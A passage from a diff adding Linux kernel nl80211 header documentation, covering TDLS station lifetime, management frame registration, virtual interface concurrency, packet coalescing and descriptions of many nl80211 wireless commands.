supporting TDLS with external setup (WIPHY_FLAG_SUPPORTS_TDLS + * and WIPHY_FLAG_TDLS_EXTERNAL_SETUP), the station lifetime is as follows: + * - a setup station entry is added, not yet authorized, without any rate + * or capability information, this just exists to avoid race conditions + * - when the TDLS setup is done, a single NL80211_CMD_SET_STATION is valid + * to add rate and capability information to the station and at the same + * time mark it authorized. + * - %NL80211_TDLS_ENABLE_LINK is then used + * - after this, the only valid operation is to remove it by tearing down + * the TDLS link (%NL80211_TDLS_DISABLE_LINK) + * + * TODO: need more info for other interface types + */ + +/** + * DOC: Frame transmission/registration support + * + * Frame transmission and registration support exists to allow userspace + * management entities such as wpa_supplicant react to management frames + * that are not being handled by the kernel. This includes, for example, + * certain classes of action frames that cannot be handled in the kernel + * for various reasons. + * + * Frame registration is done on a per-interface basis and registrations + * cannot be removed other than by closing the socket. It is possible to + * specify a registration filter to register, for example, only for a + * certain type of action frame. In particular with action frames, those + * that userspace registers for will not be returned as unhandled by the + * driver, so that the registered application has to take responsibility + * for doing that. + * + * The type of frame that can be registered for is also dependent on the + * driver and interface type. The frame types are advertised in wiphy + * attributes so applications know what to expect. + * + * NOTE: When an interface changes type while registrations are active, + * these registrations are ignored until the interface type is + * changed again. This means that changing the interface type can + * lead to a situation that couldn't otherwise be produced, but + * any such registrations will be dormant in the sense that they + * will not be serviced, i.e. they will not receive any frames. + * + * Frame transmission allows userspace to send for example the required + * responses to action frames. It is subject to some sanity checking, + * but many frames can be transmitted. When a frame was transmitted, its + * status is indicated to the sending socket. + * + * For more technical details, see the corresponding command descriptions + * below. + */ + +/** + * DOC: Virtual interface / concurrency capabilities + * + * Some devices are able to operate with virtual MACs, they can have + * more than one virtual interface. The capability handling for this + * is a bit complex though, as there may be a number of restrictions + * on the types of concurrency that are supported. + * + * To start with, each device supports the interface types listed in + * the %NL80211_ATTR_SUPPORTED_IFTYPES attribute, but by listing the + * types there no concurrency is implied. + * + * Once concurrency is desired, more attributes must be observed: + * To start with, since some interface types are purely managed in + * software, like the AP-VLAN type in mac80211 for example, there's + * an additional list of these, they can be added at any time and + * are only restricted by some semantic restrictions (e.g. AP-VLAN + * cannot be added without a corresponding AP interface). This list + * is exported in the %NL80211_ATTR_SOFTWARE_IFTYPES attribute. + * + * Further, the list of supported combinations is exported. This is + * in the %NL80211_ATTR_INTERFACE_COMBINATIONS attribute. Basically, + * it exports a list of "groups", and at any point in time the + * interfaces that are currently active must fall into any one of + * the advertised groups. Within each group, there are restrictions + * on the number of interfaces of different types that are supported + * and also the number of different channels, along with potentially + * some other restrictions. See &enum nl80211_if_combination_attrs. + * + * All together, these attributes define the concurrency of virtual + * interfaces that a given device supports. + */ + +/** + * DOC: packet coalesce support + * + * In most cases, host that receives IPv4 and IPv6 multicast/broadcast + * packets does not do anything with these packets. Therefore the + * reception of these unwanted packets causes unnecessary processing + * and power consumption. + * + * Packet coalesce feature helps to reduce number of received interrupts + * to host by buffering these packets in firmware/hardware for some + * predefined time. Received interrupt will be generated when one of the + * following events occur. + * a) Expiration of hardware timer whose expiration time is set to maximum + * coalescing delay of matching coalesce rule. + * b) Coalescing buffer in hardware reaches it's limit. + * c) Packet doesn't match any of the configured coalesce rules. + * + * User needs to configure following parameters for creating a coalesce + * rule. + * a) Maximum coalescing delay + * b) List of packet patterns which needs to be matched + * c) Condition for coalescence. pattern 'match' or 'no match' + * Multiple such rules can be created. + */ + +/** + * enum nl80211_commands - supported nl80211 commands + * + * @NL80211_CMD_UNSPEC: unspecified command to catch errors + * + * @NL80211_CMD_GET_WIPHY: request information about a wiphy or dump request + * to get a list of all present wiphys. + * @NL80211_CMD_SET_WIPHY: set wiphy parameters, needs %NL80211_ATTR_WIPHY or + * %NL80211_ATTR_IFINDEX; can be used to set %NL80211_ATTR_WIPHY_NAME, + * %NL80211_ATTR_WIPHY_TXQ_PARAMS, %NL80211_ATTR_WIPHY_FREQ (and the + * attributes determining the channel width; this is used for setting + * monitor mode channel), %NL80211_ATTR_WIPHY_RETRY_SHORT, + * %NL80211_ATTR_WIPHY_RETRY_LONG, %NL80211_ATTR_WIPHY_FRAG_THRESHOLD, + * and/or %NL80211_ATTR_WIPHY_RTS_THRESHOLD. + * However, for setting the channel, see %NL80211_CMD_SET_CHANNEL + * instead, the support here is for backward compatibility only. + * @NL80211_CMD_NEW_WIPHY: Newly created wiphy, response to get request + * or rename notification. Has attributes %NL80211_ATTR_WIPHY and + * %NL80211_ATTR_WIPHY_NAME. + * @NL80211_CMD_DEL_WIPHY: Wiphy deleted. Has attributes + * %NL80211_ATTR_WIPHY and %NL80211_ATTR_WIPHY_NAME. + * + * @NL80211_CMD_GET_INTERFACE: Request an interface's configuration; + * either a dump request on a %NL80211_ATTR_WIPHY or a specific get + * on an %NL80211_ATTR_IFINDEX is supported. + * @NL80211_CMD_SET_INTERFACE: Set type of a virtual interface, requires + * %NL80211_ATTR_IFINDEX and %NL80211_ATTR_IFTYPE. + * @NL80211_CMD_NEW_INTERFACE: Newly created virtual interface or response + * to %NL80211_CMD_GET_INTERFACE. Has %NL80211_ATTR_IFINDEX, + * %NL80211_ATTR_WIPHY and %NL80211_ATTR_IFTYPE attributes. Can also + * be sent from userspace to request creation of a new virtual interface, + * then requires attributes %NL80211_ATTR_WIPHY, %NL80211_ATTR_IFTYPE and + * %NL80211_ATTR_IFNAME. + * @NL80211_CMD_DEL_INTERFACE: Virtual interface was deleted, has attributes + * %NL80211_ATTR_IFINDEX and %NL80211_ATTR_WIPHY. Can also be sent from + * userspace to request deletion of a virtual interface, then requires + * attribute %NL80211_ATTR_IFINDEX. + * + * @NL80211_CMD_GET_KEY: Get sequence counter information for a key specified + * by %NL80211_ATTR_KEY_IDX and/or %NL80211_ATTR_MAC. + * @NL80211_CMD_SET_KEY: Set key attributes %NL80211_ATTR_KEY_DEFAULT, + * %NL80211_ATTR_KEY_DEFAULT_MGMT, or %NL80211_ATTR_KEY_THRESHOLD. + * @NL80211_CMD_NEW_KEY: add a key with given %NL80211_ATTR_KEY_DATA, + * %NL80211_ATTR_KEY_IDX, %NL80211_ATTR_MAC, %NL80211_ATTR_KEY_CIPHER, + * and %NL80211_ATTR_KEY_SEQ attributes. + * @NL80211_CMD_DEL_KEY: delete a key identified by %NL80211_ATTR_KEY_IDX + * or %NL80211_ATTR_MAC. + * + * @NL80211_CMD_GET_BEACON: (not used) + * @NL80211_CMD_SET_BEACON: change the beacon on an access point interface + * using the %NL80211_ATTR_BEACON_HEAD and %NL80211_ATTR_BEACON_TAIL + * attributes. For drivers that generate the beacon and probe responses + * internally, the following attributes must be provided: %NL80211_ATTR_IE, + * %NL80211_ATTR_IE_PROBE_RESP and %NL80211_ATTR_IE_ASSOC_RESP. + * @NL80211_CMD_START_AP: Start AP operation on an AP interface, parameters + * are like for %NL80211_CMD_SET_BEACON, and additionally parameters that + * do not change are used, these include %NL80211_ATTR_BEACON_INTERVAL, + * %NL80211_ATTR_DTIM_PERIOD, %NL80211_ATTR_SSID, + * %NL80211_ATTR_HIDDEN_SSID, %NL80211_ATTR_CIPHERS_PAIRWISE, + * %NL80211_ATTR_CIPHER_GROUP, %NL80211_ATTR_WPA_VERSIONS, + * %NL80211_ATTR_AKM_SUITES, %NL80211_ATTR_PRIVACY, + * %NL80211_ATTR_AUTH_TYPE, %NL80211_ATTR_INACTIVITY_TIMEOUT, + * %NL80211_ATTR_ACL_POLICY and %NL80211_ATTR_MAC_ADDRS. + * The channel to use can be set on the interface or be given using the + * %NL80211_ATTR_WIPHY_FREQ and the attributes determining channel width. + * @NL80211_CMD_NEW_BEACON: old alias for %NL80211_CMD_START_AP + * @NL80211_CMD_STOP_AP: Stop AP operation on the given interface + * @NL80211_CMD_DEL_BEACON: old alias for %NL80211_CMD_STOP_AP + * + * @NL80211_CMD_GET_STATION: Get station attributes for station identified by + * %NL80211_ATTR_MAC on the interface identified by %NL80211_ATTR_IFINDEX. + * @NL80211_CMD_SET_STATION: Set station attributes for station identified by + * %NL80211_ATTR_MAC on the interface identified by %NL80211_ATTR_IFINDEX. + * @NL80211_CMD_NEW_STATION: Add a station with given attributes to the + * the interface identified by %NL80211_ATTR_IFINDEX. + * @NL80211_CMD_DEL_STATION: Remove a station identified by %NL80211_ATTR_MAC + * or, if no MAC address given, all stations, on the interface identified + * by %NL80211_ATTR_IFINDEX. + * + * @NL80211_CMD_GET_MPATH: Get mesh path attributes for mesh path to + * destination %NL80211_ATTR_MAC on the interface identified by + * %NL80211_ATTR_IFINDEX. + * @NL80211_CMD_SET_MPATH: Set mesh path attributes for mesh path to + * destination %NL80211_ATTR_MAC on the interface identified by + * %NL80211_ATTR_IFINDEX. + * @NL80211_CMD_NEW_MPATH: Create a new mesh path for the destination given by + * %NL80211_ATTR_MAC via %NL80211_ATTR_MPATH_NEXT_HOP. + * @NL80211_CMD_DEL_MPATH: Delete a mesh path to the destination given by + * %NL80211_ATTR_MAC. + * @NL80211_CMD_NEW_PATH: Add a mesh path with given attributes to the + * the interface identified by %NL80211_ATTR_IFINDEX. + * @NL80211_CMD_DEL_PATH: Remove a mesh path identified by %NL80211_ATTR_MAC + * or, if no MAC address given, all mesh paths, on the interface identified + * by %NL80211_ATTR_IFINDEX. + * @NL80211_CMD_SET_BSS: Set BSS attributes for BSS identified by + * %NL80211_ATTR_IFINDEX. + * + * @NL80211_CMD_GET_REG: ask the wireless core to send us its currently set + * regulatory domain. + * @NL80211_CMD_SET_REG: Set current regulatory domain. CRDA sends this command + * after being queried by the kernel. CRDA replies by sending a regulatory + * domain structure which consists of %NL80211_ATTR_REG_ALPHA set to our + * current alpha2 if it found a match. It also provides + * NL80211_ATTR_REG_RULE_FLAGS, and a set of regulatory rules. Each + * regulatory rule is a nested set of attributes given by + * %NL80211_ATTR_REG_RULE_FREQ_[START|END] and + * %NL80211_ATTR_FREQ_RANGE_MAX_BW with an attached power rule given by + * %NL80211_ATTR_REG_RULE_POWER_MAX_ANT_GAIN and + * %NL80211_ATTR_REG_RULE_POWER_MAX_EIRP. + * @NL80211_CMD_REQ_SET_REG: ask the wireless core to set the regulatory domain + * to the specified ISO/IEC 3166-1 alpha2 country code. The core will + * store this as a valid request and then query userspace for it. + * + * @NL80211_CMD_GET_MESH_CONFIG: Get mesh networking properties for the + * interface identified by %NL80211_ATTR_IFINDEX + * + * @NL80211_CMD_SET_MESH_CONFIG: Set mesh networking properties for the + * interface identified by %NL80211_ATTR_IFINDEX + * + * @NL80211_CMD_SET_MGMT_EXTRA_IE: Set extra IEs for management frames. The + * interface is identified with %NL80211_ATTR_IFINDEX and the management + * frame subtype with %NL80211_ATTR_MGMT_SUBTYPE. The extra IE data to be + * added to the end of the specified management frame is specified with + * %NL80211_ATTR_IE. If the command succeeds, the requested data will be + * added to all specified management frames generated by + * kernel/firmware/driver. + * Note: This command has been removed and it is only reserved at this + * point to avoid re-using existing command number. The functionality this + * command was planned for has been provided with cleaner design with the + * option to specify additional IEs in NL80211_CMD_TRIGGER_SCAN, + * NL80211_CMD_AUTHENTICATE, NL80211_CMD_ASSOCIATE, + * NL80211_CMD_DEAUTHENTICATE, and NL80211_CMD_DISASSOCIATE. + * + * @NL80211_CMD_GET_SCAN: get scan results + * @NL80211_CMD_TRIGGER_SCAN: trigger a new scan with the given parameters + * %NL80211_ATTR_TX_NO_CCK_RATE is used to decide whether to send the + * probe requests at CCK rate or not. + * @NL80211_CMD_NEW_SCAN_RESULTS: scan notification (as a reply to + * NL80211_CMD_GET_SCAN and on the "scan" multicast group) + * @NL80211_CMD_SCAN_ABORTED: scan was aborted, for unspecified reasons, + * partial scan results may be available + * + * @NL80211_CMD_START_SCHED_SCAN: start a scheduled scan at certain + * intervals, as specified by %NL80211_ATTR_SCHED_SCAN_INTERVAL. + * Like with normal scans, if SSIDs (%NL80211_ATTR_SCAN_SSIDS) + * are passed, they are used in the probe requests. For + * broadcast, a broadcast SSID must be passed (ie. an empty + * string). If no SSID is passed, no probe requests are sent and + * a passive scan is performed. %NL80211_ATTR_SCAN_FREQUENCIES, + * if passed, define which channels should be scanned; if not + * passed, all channels allowed for the current regulatory domain + * are used. Extra IEs can also be passed from the userspace by + * using the %NL80211_ATTR_IE attribute. + * @NL80211_CMD_STOP_SCHED_SCAN: stop a scheduled scan. Returns -ENOENT + * if scheduled scan is not running. + * @NL80211_CMD_SCHED_SCAN_RESULTS: indicates that there are scheduled scan + * results available. + * @NL80211_CMD_SCHED_SCAN_STOPPED: indicates that the scheduled scan has + * stopped. The driver may issue this event at any time during a + * scheduled scan. One reason for stopping the scan is if the hardware + * does not support starting an association or a normal scan while running + * a scheduled scan. This event is also sent when the + * %NL80211_CMD_STOP_SCHED_SCAN command is received or when the interface + * is brought down while a scheduled scan was running. + * + * @NL80211_CMD_GET_SURVEY: get survey resuls, e.g. channel occupation + * or noise level + * @NL80211_CMD_NEW_SURVEY_RESULTS: survey data notification (as a reply to + * NL80211_CMD_GET_SURVEY and on the "scan" multicast group) + * + * @NL80211_CMD_SET_PMKSA: Add a PMKSA cache entry, using %NL80211_ATTR_MAC + * (for the BSSID) and %NL80211_ATTR_PMKID. + * @NL80211_CMD_DEL_PMKSA: Delete a PMKSA cache entry, using %NL80211_ATTR_MAC + * (for the BSSID) and %NL80211_ATTR_PMKID. + * @NL80211_CMD_FLUSH_PMKSA: Flush all PMKSA cache entries. + * + * @NL80211_CMD_REG_CHANGE: indicates to userspace the regulatory domain + * has been changed and provides details of the request information + * that caused the change such as who initiated the regulatory request + * (%NL80211_ATTR_REG_INITIATOR), the wiphy_idx + * (%NL80211_ATTR_REG_ALPHA2) on which the request was made from if + * the initiator was %NL80211_REGDOM_SET_BY_COUNTRY_IE or + * %NL80211_REGDOM_SET_BY_DRIVER, the type of regulatory domain + * set (%NL80211_ATTR_REG_TYPE), if the type of regulatory domain is + * %NL80211_REG_TYPE_COUNTRY the alpha2 to which we have moved on + * to (%NL80211_ATTR_REG_ALPHA2). + * @NL80211_CMD_REG_BEACON_HINT: indicates to userspace that an AP beacon + * has been found while world roaming thus enabling active scan or + * any mode of operation that initiates TX (beacons) on a channel + * where we would not have been able to do either before. As an example + * if you are world roaming (regulatory domain set to world or if your + * driver is using a custom world roaming regulatory domain) and while + * doing a passive scan on the 5 GHz band you find an AP there (if not + * on a DFS channel) you will now be able to actively scan for that AP + * or use AP mode on your card on that same channel. Note that this will + * never be used for channels 1-11 on the 2 GHz band as they are always + * enabled world wide. This beacon hint is only sent if your device had + * either disabled active scanning or beaconing on a channel. We send to + * userspace the wiphy on which we removed a restriction from + * (%NL80211_ATTR_WIPHY) and the channel on which this occurred + * before (%NL80211_ATTR_FREQ_BEFORE) and after (%NL80211_ATTR_FREQ_AFTER) + * the beacon hint was processed. + * + * @NL80211_CMD_AUTHENTICATE: authentication request and notification. + * This command is used both as a command (request to authenticate) and + * as an event on the "mlme" multicast group indicating completion of the + * authentication process. + * When used as a command, %NL80211_ATTR_IFINDEX is used to identify the + * interface. %NL80211_ATTR_MAC is used to specify PeerSTAAddress (and + * BSSID in case of station mode). %NL80211_ATTR_SSID is used to specify + * the SSID (mainly for association, but is included in authentication + * request, too, to help BSS selection. %NL80211_ATTR_WIPHY_FREQ is used + * to specify the frequence of the channel in MHz. %NL80211_ATTR_AUTH_TYPE + * is used to specify the authentication type. %NL80211_ATTR_IE is used to + * define IEs (VendorSpecificInfo, but also including RSN IE and FT IEs) + * to be added to the frame. + * When used as an event, this reports reception of an Authentication + * frame in station and IBSS modes when the local MLME processed the + * frame, i.e., it was for the local STA and was received in correct + * state. This is similar to MLME-AUTHENTICATE.confirm primitive in the + * MLME SAP interface (kernel providing MLME, userspace SME). The + * included %NL80211_ATTR_FRAME attribute contains the management frame + * (including both the header and frame body, but not FCS). This event is + * also used to indicate if the authentication attempt timed out. In that + * case the %NL80211_ATTR_FRAME attribute is replaced with a + * %NL80211_ATTR_TIMED_OUT flag (and %NL80211_ATTR_MAC to indicate which + * pending authentication timed out). + * @NL80211_CMD_ASSOCIATE: association request and notification; like + * NL80211_CMD_AUTHENTICATE but for Association and Reassociation + * (similar to MLME-ASSOCIATE.request, MLME-REASSOCIATE.request, + * MLME-ASSOCIATE.confirm or MLME-REASSOCIATE.confirm primitives). + * @NL80211_CMD_DEAUTHENTICATE: deauthentication request and notification; like + * NL80211_CMD_AUTHENTICATE but for Deauthentication frames (similar to + * MLME-DEAUTHENTICATION.request and MLME-DEAUTHENTICATE.indication + * primitives). + * @NL80211_CMD_DISASSOCIATE: disassociation request and notification; like + * NL80211_CMD_AUTHENTICATE but for Disassociation frames (similar to + * MLME-DISASSOCIATE.request and MLME-DISASSOCIATE.indication primitives). + * + * @NL80211_CMD_MICHAEL_MIC_FAILURE: notification of a locally detected Michael + * MIC (part of TKIP) failure; sent on the "mlme" multicast group; the + * event includes %NL80211_ATTR_MAC to describe the source MAC address of + * the frame with invalid MIC, %NL80211_ATTR_KEY_TYPE to show the key + * type, %NL80211_ATTR_KEY_IDX to indicate the key identifier, and + * %NL80211_ATTR_KEY_SEQ to indicate the TSC value of the frame; this + * event matches with MLME-MICHAELMICFAILURE.indication() primitive + * + * @NL80211_CMD_JOIN_IBSS: Join a new IBSS -- given at least an SSID and a + * FREQ attribute (for the initial frequency if no peer can be found) + * and optionally a MAC (as BSSID) and FREQ_FIXED attribute if those + * should be fixed rather than automatically determined. Can only be + * executed on a network interface that is UP, and fixed BSSID/FREQ + * may be rejected. Another optional parameter is the beacon interval, + * given in the %NL80211_ATTR_BEACON_INTERVAL attribute, which if not + * given defaults to 100 TU (102.4ms). + * @NL80211_CMD_LEAVE_IBSS: Leave the IBSS -- no special arguments, the IBSS is + * determined by the network interface. + * + * @NL80211_CMD_TESTMODE: testmode command, takes a wiphy (or ifindex) attribute + * to identify the device, and the TESTDATA blob attribute to pass through + * to the driver. + * + * @NL80211_CMD_CONNECT: connection request and notification; this command + * requests to connect to a specified network but without separating + * auth and assoc steps. For this, you need to specify the SSID in a + * %NL80211_ATTR_SSID attribute, and can optionally specify the association + * IEs in %NL80211_ATTR_IE, %NL80211_ATTR_AUTH_TYPE, %NL80211_ATTR_USE_MFP, + * %NL80211_ATTR_MAC, %NL80211_ATTR_WIPHY_FREQ, %NL80211_ATTR_CONTROL_PORT, + * %NL80211_ATTR_CONTROL_PORT_ETHERTYPE and + * %NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT. + * Background scan period can optionally be + * specified in %NL80211_ATTR_BG_SCAN_PERIOD, + * if not specified default background scan configuration + * in driver is used and if period value is 0, bg scan will be disabled. + * This attribute is ignored if driver does not support roam scan. + * It is also sent as an event, with the BSSID and response IEs when the + * connection is established or failed to be established. This can be + * determined by the STATUS_CODE attribute. + * @NL80211_CMD_ROAM: request that the card roam (currently not implemented), + * sent as an event when the card/driver roamed by itself. + * @NL80211_CMD_DISCONNECT: drop a given connection; also used to notify + * userspace that a connection was dropped by the AP or due to other + * reasons, for this the %NL80211_ATTR_DISCONNECTED_BY_AP and + * %NL80211_ATTR_REASON_CODE attributes are used. + * + * @NL80211_CMD_SET_WIPHY_NETNS: Set a wiphy's netns. Note that all devices + * associated with this wiphy must be down and will follow. + * + * @NL80211_CMD_REMAIN_ON_CHANNEL: Request to remain awake on the specified + * channel for the specified amount of time. This can be used to do + * off-channel operations like transmit a Public Action frame and wait for + * a response while being associated to an AP on another channel. + * %NL80211_ATTR_IFINDEX is used to specify which interface (and thus + * radio) is used. %NL80211_ATTR_WIPHY_FREQ is used to specify the + * frequency for the operation. + * %NL80211_ATTR_DURATION is used to specify the duration in milliseconds + * to remain on the channel. This command is also used as an event to + * notify when the requested duration starts (it may take a while for the + * driver to schedule this time due to other concurrent needs for the + * radio). + * When called, this operation returns a cookie (%NL80211_ATTR_COOKIE) + * that will be included with any events pertaining to this request; + * the cookie is also used to cancel the request. + * @NL80211_CMD_CANCEL_REMAIN_ON_CHANNEL: This command can be used to cancel a + * pending remain-on-channel duration if the desired operation has been + * completed prior to expiration of the originally requested duration. + * %NL80211_ATTR_WIPHY or %NL80211_ATTR_IFINDEX is used to specify the + * radio. The %NL80211_ATTR_COOKIE attribute must be given as well to + * uniquely identify the request. + * This command is also used as an event to notify when a requested + * remain-on-channel duration has expired. + * + * @NL80211_CMD_SET_TX_BITRATE_MASK: Set the mask of rates to be used in TX + * rate selection. %NL80211_ATTR_IFINDEX is used to specify the interface + * and @NL80211_ATTR_TX_RATES the set of allowed rates. + * + * @NL80211_CMD_REGISTER_FRAME: Register for receiving certain mgmt frames + * (via @NL80211_CMD_FRAME) for processing in userspace. This command + * requires an interface index, a frame type attribute (optional for + * backward compatibility reasons, if not given assumes action frames) + * and a match attribute containing the first few bytes of the frame + * that should match, e.g. a single byte for only a category match or + * four bytes for vendor frames including the OUI. The registration + * cannot be dropped, but is removed automatically when the netlink + * socket is closed. Multiple registrations can be made. + * @NL80211_CMD_REGISTER_ACTION: Alias for @NL80211_CMD_REGISTER_FRAME for + * backward compatibility + * @NL80211_CMD_FRAME: Management frame TX request and RX notification. This + * command is used both as a request to transmit a management frame and + * as an event indicating reception of a frame that was not processed in + * kernel code, but is for us (i.e., which may need to be processed in a + * user space application). %NL80211_ATTR_FRAME is used to specify the + * frame contents (including header). %NL80211_ATTR_WIPHY_FREQ is used + * to indicate on which channel the frame is to be transmitted or was + * received. If this channel is not the current channel (remain-on-channel + * or the operational channel) the device will switch to the given channel + * and transmit the frame, optionally waiting for a response for the time + * specified using %NL80211_ATTR_DURATION. When called, this operation + * returns a cookie (%NL80211_ATTR_COOKIE) that will be included with the + * TX status event pertaining to the TX request. + * %NL80211_ATTR_TX_NO_CCK_RATE is used to decide whether to send the + * management frames at CCK rate or not in 2GHz band. + * @NL80211_CMD_FRAME_WAIT_CANCEL: When an off-channel TX was requested, this + * command may be used with the corresponding cookie to cancel the wait + * time if it is known that it is no longer necessary. + * @NL80211_CMD_ACTION: Alias for @NL80211_CMD_FRAME for backward compatibility. + * @NL80211_CMD_FRAME_TX_STATUS: Report TX status of a management frame + * transmitted with %NL80211_CMD_FRAME. %NL80211_ATTR_COOKIE identifies + * the TX command and %NL80211_ATTR_FRAME includes the contents of the + * frame. %NL80211_ATTR_ACK flag is included if the recipient acknowledged + * the frame. + * @NL80211_CMD_ACTION_TX_STATUS: Alias for @NL80211_CMD_FRAME_TX_STATUS for + * backward compatibility. + * + * @NL80211_CMD_SET_POWER_SAVE: Set powersave, using %NL80211_ATTR_PS_STATE + * @NL80211_CMD_GET_POWER_SAVE: Get powersave status in %NL80211_ATTR_PS_STATE + * + * @NL80211_CMD_SET_CQM: Connection quality monitor configuration. This command + * is used to configure connection quality monitoring notification trigger + * levels. + * @NL80211_CMD_NOTIFY_CQM: Connection quality monitor notification. This + * command is used as an event to indicate the that a trigger level was + * reached. + * @NL80211_CMD_SET_CHANNEL: Set the channel (using %NL80211_ATTR_WIPHY_FREQ + * and the attributes determining channel width) the given interface + * (identifed by %NL80211_ATTR_IFINDEX) shall operate on. + * In case multiple channels are supported by the device, the mechanism + * with which it switches channels is implementation-defined. + * When a monitor interface is given, it can only switch channel while + * no other interfaces are operating to avoid disturbing the operation + * of any other interfaces, and other interfaces will again take + * precedence when they are used. + * + * @NL80211_CMD_SET_WDS_PEER: Set the MAC address of the peer on a WDS interface. + * + * @NL80211_CMD_JOIN_MESH: Join a mesh. The mesh ID must be given, and initial + * mesh config parameters may be given. + * @NL80211_CMD_LEAVE_MESH: Leave the mesh network -- no special arguments, the + * network is determined by the network interface. + * + * @NL80211_CMD_UNPROT_DEAUTHENTICATE: Unprotected deauthentication frame + * notification. This event is used to indicate that an unprotected + * deauthentication frame was dropped when MFP is in use. + * @NL80211_CMD_UNPROT_DISASSOCIATE: Unprotected disassociation frame + * notification. This event is used to indicate that an unprotected + * disassociation frame was dropped when MFP is in use. + * + * @NL80211_CMD_NEW_PEER_CANDIDATE: Notification on the reception of a + * beacon or probe response from a compatible mesh peer. This is only + * sent while no station information (sta_info) exists for the new peer + * candidate and when @NL80211_MESH_SETUP_USERSPACE_AUTH, + * @NL80211_MESH_SETUP_USERSPACE_AMPE, or + * @NL80211_MESH_SETUP_USERSPACE_MPM is set. On reception of this + * notification, userspace may decide to create a new station + * (@NL80211_CMD_NEW_STATION). To stop this notification from + * reoccurring, the userspace authentication daemon may want to create the + * new station with the AUTHENTICATED flag unset and maybe change it later + * depending on the authentication result. + * + * @NL80211_CMD_GET_WOWLAN: get Wake-on-Wireless-LAN (WoWLAN) settings. + * @NL80211_CMD_SET_WOWLAN: set Wake-on-Wireless-LAN (WoWLAN) settings. + * Since wireless is more complex than wired ethernet, it supports + * various triggers. These triggers can be configured through this + * command with the %NL80211_ATTR_WOWLAN_TRIGGERS attribute. For + * more background information, see + * http://wireless.kernel.org/en/users/Documentation/WoWLAN. + * The @NL80211_CMD_SET_WOWLAN command can also be used as a notification + * from the driver reporting the wakeup reason. In this case, the + * @NL80211_ATTR_WOWLAN_TRIGGERS attribute will contain the reason + * for the wakeup, if it was caused by wireless. If it is not present + * in the wakeup notification, the wireless device didn't cause the + * wakeup but reports that it was woken up. + * + * @NL80211_CMD_SET_REKEY_OFFLOAD: This command is used give the driver + * the necessary information for supporting GTK rekey offload. This + * feature is typically used during WoWLAN. The configuration data + * is contained in %NL80211_ATTR_REKEY_DATA (which is nested and + * contains the data in sub-attributes). After rekeying happened, + * this command may also be sent by the driver as an MLME event to + * inform userspace of the new replay counter. + * + * @NL80211_CMD_PMKSA_CANDIDATE: This is used as an event to inform userspace + * of PMKSA caching dandidates. + * + * @NL80211_CMD_TDLS_OPER: Perform a high-level TDLS command (e.g. link setup). + * In addition, this can be used as an event to request userspace to take + * actions on TDLS links (set up a new link or tear down an existing one). + * In such events, %NL80211_ATTR_TDLS_OPERATION indicates the requested + * operation, %NL80211_ATTR_MAC contains the peer MAC address, and + * %NL80211_ATTR_REASON_CODE the reason code to be used (only with + * %NL80211_TDLS_TEARDOWN). + * @NL80211_CMD_TDLS_MGMT: Send a TDLS management frame. + * + * @NL80211_CMD_UNEXPECTED_FRAME: Used by an application controlling an AP + * (or GO) interface (i.e. hostapd) to ask for unexpected frames to + * implement sending deauth to stations that send unexpected class 3 + * frames. Also used as the event sent by the kernel when such a frame + * is received. + * For the event, the %NL80211_ATTR_MAC attribute carries the TA and + * other attributes like the interface index are present. + * If used as the command it must have an interface index and you can + * only unsubscribe from the event by closing the socket. Subscription + * is also for %NL80211_CMD_UNEXPECTED_4ADDR_FRAME events. + * + * @NL80211_CMD_UNEXPECTED_4ADDR_FRAME: Sent as an event indicating that the + * associated station identified by %NL80211_ATTR_MAC sent a 4addr frame + * and wasn't already in a 4-addr VLAN. The event will be sent similarly + * to the %NL80211_CMD_UNEXPECTED_FRAME event, to the same listener. + * + * @NL80211_CMD_PROBE_CLIENT: Probe an associated station on an AP interface + * by sending a null data frame to it and reporting when the frame is + * acknowleged. This is used to allow timing out inactive clients. Uses + * %NL80211_ATTR_IFINDEX and %NL80211_ATTR_MAC. The command returns a + * direct reply with an %NL80211_ATTR_COOKIE that is later used to match + * up the event with the request. The event includes the same data and + * has %NL80211_ATTR_ACK set if the frame was ACKed. + * + * @NL80211_CMD_REGISTER_BEACONS: Register this socket to receive beacons from + * other BSSes when any interfaces are in AP mode. This helps implement + * OLBC handling in hostapd. Beacons are reported in %NL80211_CMD_FRAME + * messages. Note that per PHY only one application may register. + * + * @NL80211_CMD_SET_NOACK_MAP: sets a bitmap for the individual TIDs whether + * No Acknowledgement Policy should be applied. + * + * @NL80211_CMD_CH_SWITCH_NOTIFY: An AP or GO may decide to switch channels + * independently of the userspace SME, send this event indicating + * %NL80211_ATTR_IFINDEX is now on %NL80211_ATTR_WIPHY_FREQ and the + * attributes determining channel width. + * + * @NL80211_CMD_START_P2P_DEVICE: Start the given P2P Device, identified by + * its %NL80211_ATTR_WDEV identifier. It must have been created with + * %NL80211_CMD_NEW_INTERFACE previously. After it has been started, the + * P2P Device can be used for P2P operations, e.g. remain-on-channel and + * public action frame TX. + * @NL80211_CMD_STOP_P2P_DEVICE: Stop the given P2P Device, identified by + * its %NL80211_ATTR_WDEV identifier. + * + * @NL80211_CMD_CONN_FAILED: connection request to an AP failed; used to + * notify userspace that AP has rejected the connection request from a + * station, due to particular reason. %NL80211_ATTR_CONN_FAILED_REASON + * is used for this. + * + * @NL80211_CMD_SET_MCAST_RATE: Change the rate used to send multicast frames + * for IBSS or MESH vif. + * + * @NL80211_CMD_SET_MAC_ACL: sets ACL for MAC address based access control. + * This is to be used with the drivers advertising the support of MAC + * address based access control. List of MAC addresses is passed in + * %NL80211_ATTR_MAC_ADDRS and ACL policy is passed in + * %NL80211_ATTR_ACL_POLICY. Driver will enable ACL with this list, if it + * is not already done. The new list will replace any existing list. Driver + * will clear its ACL when the list of MAC addresses passed is empty. This + * command is used in AP/P2P GO mode. Driver has to make sure to clear its + * ACL list during %NL80211_CMD_STOP_AP. + * + * @NL80211_CMD_RADAR_DETECT: Start a Channel availability check (CAC). Once + * a radar is detected or the channel availability scan (CAC) has finished + * or was aborted, or a radar was detected, usermode will be notified with + * this event. This command is also used to notify userspace about radars + * while operating on this channel. + * %NL80211_ATTR_RADAR_EVENT is used to inform about the type of the + * event. + * + * @NL80211_CMD_GET_PROTOCOL_FEATURES: Get global nl80211 protocol features, + * i.e. features for the nl80211 protocol rather than device features. + * Returns the features in the %NL80211_ATTR_PROTOCOL_FEATURES bitmap. + * + * @NL80211_CMD_UPDATE_FT_IES: Pass down the most up-to-date Fast Transition + * Information Element to the WLAN driver + * + * @NL80211_CMD_FT_EVENT: Send a Fast transition event from the WLAN driver + * to the supplicant. This will carry the target AP's MAC address along + * with the relevant Information Elements. This event is used to report + * received FT IEs (MDIE, FTIE, RSN IE, 